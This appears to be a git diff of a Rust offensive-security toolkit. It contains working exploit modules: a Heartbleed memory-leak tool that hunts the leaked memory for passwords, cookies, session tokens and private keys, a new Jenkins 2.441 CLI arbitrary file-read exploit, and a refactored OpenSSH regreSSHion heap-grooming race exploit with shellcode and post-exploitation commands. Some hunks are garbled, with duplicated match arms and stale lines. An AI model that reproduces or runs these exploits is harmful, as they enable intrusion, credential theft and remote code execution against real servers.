.context("Failed to flush after Heartbeat")?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No heartbeat response.");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (heartbeat response)");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Ok(_)) => return Ok(None),
|
||||
Ok(Err(_)) => return Ok(None),
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
|
||||
let path = Path::new(&filename);
|
||||
if n <= 5 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
Ok(Some(leak[..n].to_vec()))
|
||||
}
|
||||
|
||||
fn analyze_leaked_data(data: &[u8]) {
|
||||
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
|
||||
|
||||
let data_str = String::from_utf8_lossy(data);
|
||||
|
||||
let password_patterns = vec![
|
||||
(r"password[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
|
||||
];
|
||||
|
||||
for (pattern, label) in password_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = cookie_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(cookie) = cap.get(1) {
|
||||
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let session_patterns = vec![
|
||||
r"PHPSESSID=[a-zA-Z0-9]{20,}",
|
||||
r"JSESSIONID=[a-zA-Z0-9]{20,}",
|
||||
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
|
||||
];
|
||||
|
||||
for pattern in session_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let key_markers = vec![
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
];
|
||||
|
||||
for marker in key_markers {
|
||||
if data_str.contains(marker) {
|
||||
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
|
||||
}
|
||||
}
|
||||
|
||||
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = auth_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(auth) = cap.get(1) {
|
||||
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
|
||||
if let Some(re) = email_re {
|
||||
let mut emails = std::collections::HashSet::new();
|
||||
for cap in re.find_iter(&data_str) {
|
||||
emails.insert(cap.as_str().to_string());
|
||||
}
|
||||
if !emails.is_empty() {
|
||||
println!();
|
||||
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
|
||||
for (i, email) in emails.iter().take(5).enumerate() {
|
||||
println!(" {}: {}", i + 1, email);
|
||||
}
|
||||
if emails.len() > 5 {
|
||||
println!(" ... and {} more", emails.len() - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
|
||||
println!("{}", printable_dump(&data[..data.len().min(512)]));
|
||||
}
|
||||
|
||||
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
|
||||
let path = Path::new(filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(&leak[..n])
|
||||
file.write_all(data)
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
println!("[+] Leak dump saved to: {}", filename);
|
||||
println!("{}", printable_dump(&leak[..n]));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds a TLS ClientHello message
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302; // TLS 1.1
|
||||
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
|
||||
let version: u16 = 0x0302;
|
||||
let time_now = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs() as u32;
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&vec![0x42; 28]);
|
||||
random.extend_from_slice(&[0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
@@ -122,18 +427,18 @@ fn build_client_hello() -> Vec<u8> {
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0); // Session ID length
|
||||
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1); // Compression methods length
|
||||
hello.push(0); // No compression
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01); // Extension data
|
||||
extensions.push(0x01);
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
@@ -146,14 +451,12 @@ fn build_client_hello() -> Vec<u8> {
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
/// Builds a malicious Heartbeat request
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
/// Wraps payload in a TLS record
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
@@ -162,13 +465,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
record
|
||||
}
|
||||
|
||||
/// Converts binary leak to printable ASCII
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' | b'\r' | b'\t' => ' ',
|
||||
b'\n' => '\n',
|
||||
b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
use std::io::{self, Write};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::time::sleep;
|
||||
use reqwest::{Client};
|
||||
use uuid::Uuid;
|
||||
use regex::Regex;
|
||||
|
||||
const TIMEOUT_SECS: u64 = 4;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ExploitState {
|
||||
url: String,
|
||||
identifier: String,
|
||||
client: Client,
|
||||
listening: Arc<Mutex<bool>>,
|
||||
}
|
||||
|
||||
impl ExploitState {
|
||||
fn new(url: String, identifier: String) -> Self {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()
|
||||
.expect("Failed to create HTTP client");
|
||||
|
||||
Self {
|
||||
url,
|
||||
identifier,
|
||||
client,
|
||||
listening: Arc::new(Mutex::new(false)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn listen_and_print(&self) -> Result<()> {
|
||||
let response = self.client
|
||||
.post(&self.url)
|
||||
.query(&[("remoting", "false")])
|
||||
.header("Side", "download")
|
||||
.header("Session", &self.identifier)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to connect to target for listener")?;
|
||||
|
||||
let output = response.text().await?;
|
||||
self.print_formatted_output(&output);
|
||||
|
||||
*self.listening.lock().unwrap() = false;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_formatted_output(&self, output: &str) {
|
||||
if output.contains("ERROR: No such file") {
|
||||
println!("{}", "File not found.".red());
|
||||
return;
|
||||
} else if output.contains("ERROR: Failed to parse") {
|
||||
println!("{}", "Could not read file.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
|
||||
let results: Vec<String> = re
|
||||
.captures_iter(output)
|
||||
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
|
||||
.collect();
|
||||
|
||||
if !results.is_empty() {
|
||||
for line in results {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_file_request(&self, filepath: &str) -> Result<()> {
|
||||
let payload = get_payload(filepath);
|
||||
|
||||
self.client
|
||||
.post(&self.url)
|
||||
.query(&[("remoting", "false")])
|
||||
.header("Side", "upload")
|
||||
.header("Session", &self.identifier)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send file request")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn read_file(&self, filepath: &str) -> Result<()> {
|
||||
*self.listening.lock().unwrap() = true;
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
if let Err(e) = self.send_file_request(filepath).await {
|
||||
*self.listening.lock().unwrap() = false;
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
while *self.listening.lock().unwrap() {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
|
||||
self.listen_and_print().await?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
|
||||
let text_bytes = text.as_bytes();
|
||||
let text_size = text_bytes.len() as u16;
|
||||
|
||||
let mut text_message = Vec::new();
|
||||
text_message.extend_from_slice(&text_size.to_be_bytes());
|
||||
text_message.extend_from_slice(text_bytes);
|
||||
|
||||
let message_size = text_message.len() as u32;
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&message_size.to_be_bytes());
|
||||
payload.push(operation_index);
|
||||
payload.extend_from_slice(&text_message);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn get_payload(filepath: &str) -> Vec<u8> {
|
||||
let arg_operation = 0u8;
|
||||
let start_operation = 3u8;
|
||||
|
||||
let command = get_payload_message(arg_operation, "connect-node");
|
||||
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&command);
|
||||
payload.extend_from_slice(&poisoned_argument);
|
||||
payload.push(start_operation);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn make_path_absolute(filepath: &str) -> String {
|
||||
if filepath.starts_with('/') {
|
||||
filepath.to_string()
|
||||
} else {
|
||||
format!("/proc/self/cwd/{}", filepath)
|
||||
}
|
||||
}
|
||||
|
||||
fn format_target_url(url: &str) -> String {
|
||||
let url = url.trim_end_matches('/');
|
||||
format!("{}/cli", url)
|
||||
}
|
||||
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
match io::stdin().read_line(&mut input) {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {
|
||||
let filepath = input.trim();
|
||||
if filepath.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let absolute_path = make_path_absolute(filepath);
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "Payload request timed out.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error reading input: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(args: &str) -> Result<()> {
|
||||
let parts: Vec<&str> = args.split_whitespace().collect();
|
||||
|
||||
if parts.is_empty() {
|
||||
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
|
||||
}
|
||||
|
||||
let url = format_target_url(parts[0]);
|
||||
let filepath = parts.get(1).map(|s| s.to_string());
|
||||
let identifier = Uuid::new_v4().to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", url).cyan().bold());
|
||||
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
|
||||
|
||||
let state = ExploitState::new(url, identifier);
|
||||
|
||||
if let Some(path) = filepath {
|
||||
let absolute_path = make_path_absolute(&path);
|
||||
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "[-] Payload request timed out.".red());
|
||||
} else {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
match start_interactive_file_read(state).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if !e.to_string().contains("Interrupted") {
|
||||
eprintln!("Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("\n{}", "Quitting".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod jenkins_2_441_lfi;
|
||||
@@ -17,4 +17,4 @@ pub mod palo_alto;
|
||||
pub mod roundcube;
|
||||
pub mod flowise;
|
||||
pub mod http2;
|
||||
|
||||
pub mod jenkins;
|
||||
|
||||
@@ -4,7 +4,7 @@ use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, timeout, Duration, Instant};
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
@@ -33,22 +33,27 @@ fn chunk_align(s: usize) -> usize {
|
||||
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
|
||||
buf.fill(0);
|
||||
let len = buf.len();
|
||||
|
||||
if len > 0x30 + 8 {
|
||||
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
|
||||
}
|
||||
|
||||
if len >= 16 {
|
||||
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
|
||||
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
|
||||
}
|
||||
if len > 0x30 + 8 {
|
||||
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
|
||||
packet.fill(0);
|
||||
|
||||
packet[..8].copy_from_slice(b"ssh-rsa ");
|
||||
|
||||
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
|
||||
if shell_offset + SHELLCODE.len() <= packet.len() {
|
||||
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
|
||||
}
|
||||
|
||||
for i in 0..27 {
|
||||
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
|
||||
if pos + chunk_align(304) <= packet.len() {
|
||||
@@ -58,12 +63,13 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
|
||||
}
|
||||
|
||||
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
let len = data.len() + 5;
|
||||
let mut packet_data = vec![0u8; len];
|
||||
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
|
||||
packet_data[4] = packet_type;
|
||||
packet_data[5..].copy_from_slice(data);
|
||||
stream.write_all(&packet_data).await?;
|
||||
let packet_len = (data.len() + 5) as u32;
|
||||
|
||||
stream.write_u32(packet_len).await?;
|
||||
stream.write_u8(packet_type).await?;
|
||||
stream.write_all(data).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -123,6 +129,7 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
|
||||
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
|
||||
stream.flush().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -167,65 +174,84 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
|
||||
for i in 0..10 {
|
||||
for _ in 0..10 {
|
||||
let tcache_chunk = vec![b'A'; 64];
|
||||
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
|
||||
send_packet(stream, 5, &tcache_chunk).await?;
|
||||
}
|
||||
for i in 0..27 {
|
||||
|
||||
for _ in 0..27 {
|
||||
let large_hole = vec![b'B'; 8192];
|
||||
send_packet(stream, 5, &large_hole).await?;
|
||||
|
||||
let small_hole = vec![b'C'; 320];
|
||||
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
|
||||
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
|
||||
send_packet(stream, 5, &small_hole).await?;
|
||||
}
|
||||
for i in 0..27 {
|
||||
|
||||
for _ in 0..27 {
|
||||
let mut fake = vec![0u8; 4096];
|
||||
create_fake_file_structure(&mut fake, glibc_base);
|
||||
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
|
||||
send_packet(stream, 5, &fake).await?;
|
||||
}
|
||||
|
||||
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
|
||||
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
|
||||
send_packet(stream, 5, &large_fill).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
let error_packet_data = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
|
||||
let error_packet_data: &[u8] = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
|
||||
} else {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
|
||||
};
|
||||
|
||||
let start = Instant::now();
|
||||
send_packet(stream, 50, &error_packet_data).await?;
|
||||
send_packet(stream, 50, error_packet_data).await?;
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let _ = stream.read(&mut buf).await;
|
||||
let _ = recv_retry(stream, &mut buf).await;
|
||||
|
||||
Ok(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
|
||||
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
|
||||
Ok(t2 - t1)
|
||||
let t1 = measure_response_time(stream, 1).await?;
|
||||
let t2 = measure_response_time(stream, 2).await?;
|
||||
let parsing_time = t2 - t1;
|
||||
|
||||
Ok(parsing_time)
|
||||
}
|
||||
|
||||
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
|
||||
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut public_key_packet_data, glibc_base);
|
||||
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
|
||||
|
||||
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if calculated_wait_time < 0.0 {
|
||||
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
|
||||
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut final_packet, glibc_base);
|
||||
|
||||
let to_send = final_packet.len() - 1;
|
||||
stream.write_all(&final_packet[..to_send]).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if wait_time > 0.0 {
|
||||
sleep(Duration::from_secs_f64(wait_time)).await;
|
||||
}
|
||||
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
|
||||
sleep(wait_time_duration).await;
|
||||
|
||||
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
|
||||
let mut buf = [0u8; 1024];
|
||||
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(Ok(0)) => Ok(true),
|
||||
|
||||
stream.write_all(&final_packet[to_send..]).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
let mut response = [0u8; 1024];
|
||||
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
|
||||
Ok(Ok(n)) if n == 0 => Ok(true),
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
Ok(Ok(_)) => Ok(false),
|
||||
Ok(Err(_)) => Ok(true),
|
||||
Err(_) => Ok(true), // Timeout might indicate success
|
||||
Err(_) => Ok(true),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -253,33 +279,9 @@ fn get_postex_command(action: u8) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
|
||||
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
std::io::stdin().read_line(&mut choice_str).ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
let postex_cmd = get_postex_command(mode_choice);
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
|
||||
@@ -295,7 +297,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
|
||||
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
|
||||
|
||||
|
||||
for glibc_base_addr in glibc_bases {
|
||||
for attempt_num in 0..num_attempts_per_base {
|
||||
let ip_clone = target_ip.clone();
|
||||
@@ -305,25 +306,23 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
let mut stream = match setup_connection(&ip_clone, port_num).await {
|
||||
Ok(s) => s,
|
||||
Err(_e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
|
||||
if perform_ssh_handshake(&mut stream).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
|
||||
|
||||
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let parsing_time = match time_final_packet(&mut stream).await {
|
||||
Ok(pt) => pt,
|
||||
Err(_e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
|
||||
@@ -369,6 +368,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
}
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
Ok(false)
|
||||
}));
|
||||
}
|
||||
@@ -431,5 +432,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
execute_exploit_logic(ip_address, port_num).await
|
||||
}
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
io::stdin().read_line(&mut choice_str).ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
|
||||
}
|
||||
@@ -7,12 +7,12 @@ use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use trust_dns_client::client::{AsyncClient, ClientHandle};
|
||||
use trust_dns_client::proto::op::ResponseCode;
|
||||
use trust_dns_client::rr::{DNSClass, Name, RecordType};
|
||||
use trust_dns_client::udp::UdpClientStream;
|
||||
use trust_dns_proto::op::Message;
|
||||
use trust_dns_proto::xfer::DnsResponse;
|
||||
use hickory_client::client::{AsyncClient, ClientHandle};
|
||||
use hickory_client::proto::op::ResponseCode;
|
||||
use hickory_client::rr::{DNSClass, Name, RecordType};
|
||||
use hickory_client::udp::UdpClientStream;
|
||||
use hickory_proto::op::Message;
|
||||
use hickory_proto::xfer::DnsResponse;
|
||||
use tokio::net::UdpSocket;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
@@ -124,12 +124,12 @@ async fn query_target(
|
||||
